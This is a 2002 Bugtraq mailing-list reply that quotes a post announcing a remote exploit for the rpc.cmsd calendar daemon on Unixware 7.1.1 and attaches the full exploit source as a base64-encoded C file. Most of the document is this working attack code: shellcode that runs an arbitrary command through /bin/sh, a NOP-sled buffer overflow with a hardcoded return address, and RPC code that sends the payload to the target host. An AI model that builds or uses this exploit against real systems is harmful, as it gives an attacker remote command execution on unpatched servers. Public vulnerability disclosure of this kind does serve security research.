[23795] in bugtraq
Re: Unixware 7.1.1 rpc.cmsd remote exploit code.
daemon@ATHENA.MIT.EDU (Dave Ahmad)
Thu Jan 10 15:37:28 2002
Date: Thu, 10 Jan 2002 10:54:34 -0700 (MST)
From: Dave Ahmad <da@securityfocus.com>
To: "jGgM." <jggm@mail.com>
Cc: bugtraq@securityfocus.com
In-Reply-To: <20020110044054.32662.qmail@mail.securityfocus.com>
Message-ID: <Pine.LNX.4.43.0201101052450.12820-200000@mail>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="641862039-544312256-1010685274=:12820"
--641862039-544312256-1010685274=:12820
Content-Type: TEXT/PLAIN; charset=US-ASCII
Hmm, this is incomplete.. attached is the full version of his
exploit.
Dave Ahmad
SecurityFocus
www.securityfocus.com
On 10 Jan 2002, jGgM. wrote:
>
>
> Hi, I'm jGgM.
>
> Here is unixware 7.1.1 rpc.cmsd remote exploit code.
> This is old bug. ( Currently patched....maybe.. )
> This works only not -patched Unixware 7.1.1.
>
> --------------------------------------
> Korean security Info.. by jGgM.
> http://www.forsecure.com/
> http://www.netemperor.com/
> --------------------------------------
> /*
> * Unixware 7.x rpc.cmsd exploit by jGgM
> * http://www.netemperor.com/en/
> * EMail: jggm@mail.com
> */
>
--641862039-544312256-1010685274=:12820
Content-Type: TEXT/x-csrc; name="rpc.cmsd-exploit.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.43.0201101054340.12820@mail>
Content-Description:
Content-Disposition: attachment; filename="rpc.cmsd-exploit.c"
LyoNCiAqIFVuaXh3YXJlIDcueCBycGMuY21zZCBleHBsb2l0IGJ5IGpHZ00N
CiAqIGh0dHA6Ly93d3cubmV0ZW1wZXJvci5jb20vZW4vDQogKiBFTWFpbDog
amdnbUBtYWlsLmNvbQ0KICovDQoNCiNpbmNsdWRlIDxzdGRsaWIuaD4NCiNp
bmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0cmluZy5oPg0KI2luY2x1
ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHJwYy9ycGMuaD4NCg0KI2RlZmlu
ZSBDTVNEX1BST0cgMTAwMDY4DQojZGVmaW5lIENNU0RfVkVSUyA0DQojZGVm
aW5lIENNU0RfUFJPQyAyMQ0KDQojZGVmaW5lIEJVRkZFUl9TSVpFICAgICAx
MDM2DQojZGVmaW5lIFNIRUxMX1NUQVJUICAgICAxMDI0DQojZGVmaW5lIFJF
VF9MRU5HVEggICAgICAxMg0KI2RlZmluZSBBREpVU1QgICAgICAgICAgMTAw
DQojZGVmaW5lIE5PUCAgICAgMHg5MA0KI2RlZmluZSBMRU4gICAgICAgICAg
ICAgNjgNCg0KY2hhciBzaGVsbFtdID0NCiAgLyogIDAgKi8gIlx4ZWJceDNk
IiAgICAgICAgICAgICAgICAgICAgICAgICAvKiBqbXAgc3ByaW5nYm9hcmQg
WzIwMDBdKi8NCiAgLyogc3lzY2FsbDogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWzIwMDBdKi8NCiAgLyog
IDIgKi8gIlx4OWFceGZmXHhmZlx4ZmZceGZmXHgwN1x4ZmYiICAgICAvKiBs
Y2FsbCAweDcsMHgwICAgWzIwMDBdKi8NCiAgLyogIDkgKi8gIlx4YzMiICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAvKiByZXQgICAgICAgICAgICAg
WzIwMDBdKi8NCiAgLyogc3RhcnQ6ICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWzIwMDBdKi8NCiAgLyog
MTAgKi8gIlx4NWUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBw
b3BsICVlc2kgICAgICAgWzIwMDBdKi8NCiAgLyogMTEgKi8gIlx4MzFceGMw
IiAgICAgICAgICAgICAgICAgICAgICAgICAvKiB4b3IgJWVheCwlZWF4ICAg
WzIwMDBdKi8NCiAgLyogMTMgKi8gIlx4ODlceDQ2XHhiZiIgICAgICAgICAg
ICAgICAgICAgICAvKiBtb3ZsICVlYXgsLTB4NDEoJWVzaSkgKi8NCiAgLyog
MTYgKi8gIlx4ODhceDQ2XHhjNCIgICAgICAgICAgICAgICAgICAgICAvKiBt
b3ZiICVhbCwtMHgzYyglZXNpKSAgKi8NCiAgLyogMTkgKi8gIlx4ODlceDQ2
XHgwYyIgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZsICVlYXgsMHhjKCVl
c2kpICAgKi8NCiAgLyogMjIgKi8gIlx4ODhceDQ2XHgxNyIgICAgICAgICAg
ICAgICAgICAgICAvKiBtb3ZiICVhbCwweDE3KCVlc2kpICAgKi8NCiAgLyog
MjUgKi8gIlx4ODhceDQ2XHgxYSIgICAgICAgICAgICAgICAgICAgICAvKiBt
b3ZiICVhbCwweDFhKCVlc2kpICAgKi8NCiAgLyogMjggKi8gIlx4ODhceDQ2
XHhmZiIgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZiICVhbCwweD8/KCVl
c2kpICAgKi8NCiAgLyogZXhlY3ZlOiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWzIwMDBdKi8NCiAgLyog
MzEgKi8gIlx4MzFceGMwIiAgICAgICAgICAgICAgICAgICAgICAgICAvKiB4
b3IgJWVheCwlZWF4ICAgWzIwMDBdKi8NCiAgLyogMzMgKi8gIlx4NTAiICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBwdXNobCAlZWF4ICAgICAg
WzIwMDBdKi8NCiAgLyogMzQgKi8gIlx4NTYiICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAvKiBwdXNobCAlZXNpICAgICAgWzIwMDBdKi8NCiAgLyog
MzUgKi8gIlx4OGRceDVlXHgxMCIgICAgICAgICAgICAgICAgICAgICAvKiBs
ZWFsIDB4MTAoJWVzaSksJWVieCAgKi8NCiAgLyogMzggKi8gIlx4ODlceDFl
IiAgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZsICVlYngsKCVlc2kp
WzIwMDBdKi8NCiAgLyogNDAgKi8gIlx4NTMiICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAvKiBwdXNobCAlZWJ4ICAgICAgWzIwMDBdKi8NCiAgLyog
NDEgKi8gIlx4OGRceDVlXHgxOCIgICAgICAgICAgICAgICAgICAgICAvKiBs
ZWFsIDB4MTgoJWVzaSksJWVieCAgKi8NCiAgLyogNDQgKi8gIlx4ODlceDVl
XHgwNCIgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZsICVlYngsMHg0KCVl
c2kpICAgKi8NCiAgLyogNDcgKi8gIlx4OGRceDVlXHgxYiIgICAgICAgICAg
ICAgICAgICAgICAvKiBsZWFsIDB4MWIoJWVzaSksJWVieCAgKi8NCiAgLyog
NTAgKi8gIlx4ODlceDVlXHgwOCIgICAgICAgICAgICAgICAgICAgICAvKiBt
b3ZsICVlYngsMHg4KCVlc2kpICAgKi8NCiAgLyogNTMgKi8gIlx4YjBceDNi
IiAgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZiICQweDNiLCVhbCAg
WzIwMDBdKi8NCiAgLyogNTUgKi8gIlx4ZThceGM2XHhmZlx4ZmZceGZmIiAg
ICAgICAgICAgICAvKiBjYWxsIHN5c2NhbGwgICAgWzIwMDBdKi8NCiAgLyog
NjAgKi8gIlx4ODNceGM0XHgwYyIgICAgICAgICAgICAgICAgICAgICAvKiBh
ZGRsICQweGMsJWVzcCAgWzIwMDBdKi8NCiAgLyogc3ByaW5nYm9hcmQ6ICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
WzIwMDBdKi8NCiAgLyogNjMgKi8gIlx4ZThceGM2XHhmZlx4ZmZceGZmIiAg
ICAgICAgICAgICAvKiBjYWxsIHN0YXJ0ICAgICAgWzIwMDBdKi8NCiAgLyog
ZGF0YTogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgWzIwMDBdKi8NCiAgLyogNjggKi8gIlx4ZmZceGZm
XHhmZlx4ZmYiICAgICAgICAgICAgICAgICAvKiBEQVRBICAgICAgICAgICAg
WzIwMDBdKi8NCiAgLyogNzIgKi8gIlx4ZmZceGZmXHhmZlx4ZmYiICAgICAg
ICAgICAgICAgICAvKiBEQVRBICAgICAgICAgICAgWzIwMDBdKi8NCiAgLyog
NzYgKi8gIlx4ZmZceGZmXHhmZlx4ZmYiICAgICAgICAgICAgICAgICAvKiBE
QVRBICAgICAgICAgICAgWzIwMDBdKi8NCiAgLyogODAgKi8gIlx4ZmZceGZm
XHhmZlx4ZmYiICAgICAgICAgICAgICAgICAvKiBEQVRBICAgICAgICAgICAg
WzIwMDBdKi8NCiAgLyogODQgKi8gIlx4MmZceDYyXHg2OVx4NmVceDJmXHg3
M1x4NjhceGZmIiAvKiBEQVRBICAgICAgICAgICAgWzIwMDBdKi8NCiAgLyog
OTIgKi8gIlx4MmRceDYzXHhmZiI7ICAgICAgICAgICAgICAgICAgICAvKiBE
QVRBICAgICAgICAgICAgWzIwMDBdKi8NCg0Kc3RydWN0IGNtX3NlbmQgew0K
ICAgY2hhciAqczE7DQogICBjaGFyICpzMjsNCn07DQoNCnN0cnVjdCBjbV9y
ZXBseSB7DQogICBpbnQgaTsNCn07DQoNCmJvb2xfdCB4ZHJfY21fc2VuZChY
RFIgKnhkcnMsIHN0cnVjdCBjbV9zZW5kICpvYmpwKQ0Kew0KICAgaWYoIXhk
cl93cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5zMSkpDQogICAgICByZXR1cm4g
KEZBTFNFKTsNCiAgIGlmKCF4ZHJfd3JhcHN0cmluZyh4ZHJzLCAmb2JqcC0+
czIpKQ0KICAgICAgIHJldHVybiAoRkFMU0UpOw0KICAgcmV0dXJuIChUUlVF
KTsNCn0NCg0KYm9vbF90IHhkcl9jbV9yZXBseShYRFIgKnhkcnMsIHN0cnVj
dCBjbV9yZXBseSAqb2JqcCkNCnsNCiAgIGlmKCF4ZHJfaW50KHhkcnMsICZv
YmpwLT5pKSkNCiAgICAgIHJldHVybiAoRkFMU0UpOw0KICAgcmV0dXJuIChU
UlVFKTsNCn0NCg0KbG9uZyBnZXRfcmV0KCkgew0KICAgcmV0dXJuIDB4ODA0
NzcyMDsNCn0NCg0KaW50DQptYWluKGludCBhcmdjLCBjaGFyICphcmd2W10p
DQp7DQogICBjaGFyIGJ1ZmZlcltCVUZGRVJfU0laRSArIDFdOw0KICAgbG9u
ZyByZXQsIG9mZnNldDsNCiAgIGludCBsZW4sIHgsIHk7DQogICBjaGFyICpj
b21tYW5kLCAqaG9zdG5hbWU7DQoNCiAgIENMSUVOVCAqY2w7DQogICBzdHJ1
Y3QgY21fc2VuZCBzZW5kOw0KICAgc3RydWN0IGNtX3JlcGx5IHJlcGx5Ow0K
ICAgc3RydWN0IHRpbWV2YWwgdG0gPSB7IDEwLCAwIH07DQogICBlbnVtIGNs
bnRfc3RhdCBzdGF0Ow0KDQogICBpZihhcmdjIDwgMyB8fCBhcmdjID4gNCkg
ew0KICAgICAgcHJpbnRmKCJVc2FnZTogJXMgW2hvc3RuYW1lXSBbY29tbWFu
ZF0gW29mZnNldF1cbiIsIGFyZ3ZbMF0pOw0KICAgICAgZXhpdCgxKTsNCiAg
IH0gLy8gZW5kIG9mIGlmLi4NCg0KICAgaG9zdG5hbWUgPSBhcmd2WzFdOw0K
ICAgY29tbWFuZCA9IGFyZ3ZbMl07DQoNCiAgIGlmKGFyZ2MgPT0gNCkgb2Zm
c2V0ID0gYXRvbChhcmd2WzNdKTsNCiAgIGVsc2Ugb2Zmc2V0PTA7DQoNCiAg
IGxlbiA9IHN0cmxlbihjb21tYW5kKTsNCiAgIGxlbisrOw0KICAgbGVuID0g
LWxlbjsNCiAgIHNoZWxsW0xFTiswXSA9IChsZW4gPj4gIDApICYgMHhmZjsN
CiAgIHNoZWxsW0xFTisxXSA9IChsZW4gPj4gIDgpICYgMHhmZjsNCiAgIHNo
ZWxsW0xFTisyXSA9IChsZW4gPj4gMTYpICYgMHhmZjsNCiAgIHNoZWxsW0xF
TiszXSA9IChsZW4gPj4gMjQpICYgMHhmZjsNCg0KICAgc2hlbGxbMzBdID0g
KGNoYXIpKHN0cmxlbihjb21tYW5kKSArIDI3KTsNCg0KICAgcmV0ID0gZ2V0
X3JldCgpICsgb2Zmc2V0Ow0KDQogICBmb3IoeD0wOyB4PEJVRkZFUl9TSVpF
OyB4KyspIGJ1ZmZlclt4XSA9IE5PUDsNCg0KICAgeCA9IEJVRkZFUl9TSVpF
IC0gUkVUX0xFTkdUSCAtIHN0cmxlbihzaGVsbCkgLSBzdHJsZW4oY29tbWFu
ZCkgLSAxIC0gQURKVVNUOw0KDQogICBmb3IoeT0wOyB5PHN0cmxlbihzaGVs
bCk7IHkrKykNCiAgICAgIGJ1ZmZlclt4KytdID0gc2hlbGxbeV07DQoNCiAg
IGZvcih5PTA7IHk8c3RybGVuKGNvbW1hbmQpOyB5KyspDQogICAgICBidWZm
ZXJbeCsrXSA9IGNvbW1hbmRbeV07DQoNCiAgIGJ1ZmZlclt4XSA9ICdceGZm
JzsNCg0KICAgeCA9IFNIRUxMX1NUQVJUOw0KICAgZm9yKHk9MDsgeTwoUkVU
X0xFTkdUSC80KTsgeSsrLCB4PXgrNCkNCiAgICAgICooKGludCAqKSZidWZm
ZXJbeF0pID0gcmV0Ow0KDQogICBidWZmZXJbeF0gPSAweDAwOw0KDQogICBw
cmludGYoImhvc3QgPSAlc1xuIiwgaG9zdG5hbWUpOw0KICAgcHJpbnRmKCJj
b21tYW5kID0gJyVzJ1xuIiwgY29tbWFuZCk7DQogICBwcmludGYoInJldCBh
ZGRyZXNzID0gMHgleFxuIiwgcmV0KTsNCiAgIHByaW50ZigiYnVmZmVyIHNp
emUgPSAlZFxuIiwgc3RybGVuKGJ1ZmZlcikpOw0KDQogICBzZW5kLnMxID0g
YnVmZmVyOw0KICAgc2VuZC5zMiA9ICIiOw0KDQogICBjbCA9IGNsbnRfY3Jl
YXRlKGhvc3RuYW1lLCBDTVNEX1BST0csIENNU0RfVkVSUywgInVkcCIpOw0K
ICAgaWYoY2wgPT0gTlVMTCkgew0KICAgICAgY2xudF9wY3JlYXRlZXJyb3Io
ImNsbnRfY3JlYXRlIik7DQogICAgICBwcmludGYoImV4cGxvaXQgZmFpbGVk
OyB1bmFibGUgdG8gY29udGFjdCBSUEMgc2VydmVyXG4iKTsNCiAgICAgIGV4
aXQoMSk7DQogICB9DQogICBjbC0+Y2xfYXV0aCA9IGF1dGh1bml4X2NyZWF0
ZSgibG9jYWxob3N0IiwgMCwgMCwgMCwgTlVMTCk7DQogICBzdGF0ID0gY2xu
dF9jYWxsKGNsLCBDTVNEX1BST0MsIHhkcl9jbV9zZW5kLCAoY2FkZHJfdCkg
JnNlbmQsDQogICAgICAgICAgICAgICAgICAgICAgICB4ZHJfY21fcmVwbHks
IChjYWRkcl90KSAmcmVwbHksIHRtKTsNCiAgIGlmKHN0YXQgPT0gUlBDX1NV
Q0NFU1MpIHsNCiAgICAgIHByaW50ZigiZXhwbG9pdCBpcyBmYWlsZWQhIVxu
Iik7DQogICAgICBjbG50X2Rlc3Ryb3koY2wpOw0KICAgICAgZXhpdCgxKTsN
CiAgIH0gZWxzZSB7DQogICAgICBwcmludGYoIk1heWJlLCBleHBsb2l0IGlz
IHN1Y2Nlc3MhIVxuIik7DQogICAgICBjbG50X2Rlc3Ryb3koY2wpOw0KICAg
ICAgZXhpdCgwKTsNCiAgIH0NCn0NCg0K
--641862039-544312256-1010685274=:12820--
